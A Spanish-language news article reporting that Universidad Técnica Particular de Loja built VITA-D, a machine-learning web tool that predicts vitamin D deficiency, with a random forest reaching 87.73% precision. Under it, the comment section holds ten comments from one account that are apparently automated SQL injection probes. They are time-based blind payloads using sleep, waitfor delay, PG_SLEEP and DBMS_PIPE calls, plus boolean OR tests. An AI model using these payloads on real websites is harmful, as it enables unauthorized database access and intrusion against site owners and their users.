UTPL desarrolló herramienta digital «VITA-D» para predecir la deficiencias

REDACCIÓN NOTI AMÉRICA (ECUADOR)

La deficiencia de vitamina D afecta a más de mil millones de personas en el mundo y se asocia a enfermedades como osteoporosis, diabetes tipo 2, obesidad y trastornos inmunológicos. En Ecuador, investigaciones locales revelan cifras preocupantes: el 94% del personal universitario en Loja presenta insuficiencia de esta vitamina. Frente a este panorama, investigadores de la Universidad Técnica Particular de Loja (UTPL) desarrollaron VITA-D, una herramienta web predictiva basada en  Inteligencia Artificial (IA).

VITA-D fue entrenada con dos bases de datos: una privada, con 465 participantes de Loja, y otra pública de FigShare, alcanzando un total de 1.065 registros. Se recolectaron variables clínicas y sociodemográficas como edad, índice de masa corporal, masa muscular, tipo de trabajo, exposición al sol, uso de protector solar y actividad física. Con esta información, se entrenaron tres modelos de aprendizaje automático: Regresión Logística, Máquinas de Vectores de Soporte (SVM) y Bosques Aleatorios (RF). Este último mostró el mejor rendimiento, con una precisión del 87,73%, y fue elegido para integrarse a la plataforma.

¿Cómo funciona?

El usuario ingresa sus datos en la interfaz de VITA-D, desarrollada con tecnologías como Django, MySQL y BootstrapStudio. El sistema analiza la información y predice si la persona tiene deficiencia de vitamina D (nivel <18 ng/mL) o niveles suficientes (≥18 ng/mL). Además, presenta un panel gráfico interactivo que muestra el nivel de riesgo, los factores que más influyen y recomendaciones útiles.

VITA-D representa una alternativa eficiente, económica y no invasiva frente a los costosos análisis sanguíneos, especialmente útil en regiones con recursos limitados. Permite monitorear a poblaciones vulnerables, optimizar decisiones clínicas y apoyar estrategias de salud pública.

También te podría gustar...

17 Respuestas

  1. zFPWdwPk dice:

    -1 OR 2+112-112-1=0+0+0+1

  2. zFPWdwPk dice:

    0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

  3. zFPWdwPk dice:

    (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'»+(select(0)from(select(sleep(15)))v)+»*/

  4. zFPWdwPk dice:

    -1); waitfor delay ‘0:0:15’ —

  5. zFPWdwPk dice:

    8S63AhGt’; waitfor delay ‘0:0:15’ —

  6. zFPWdwPk dice:

    -5 OR 569=(SELECT 569 FROM PG_SLEEP(15))–

  7. zFPWdwPk dice:

    -1)) OR 767=(SELECT 767 FROM PG_SLEEP(15))–

  8. zFPWdwPk dice:

    xWiE7NfG’ OR 231=(SELECT 231 FROM PG_SLEEP(15))–

  9. zFPWdwPk dice:

    TwqXC64t’)) OR 782=(SELECT 782 FROM PG_SLEEP(15))–

  10. zFPWdwPk dice:

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)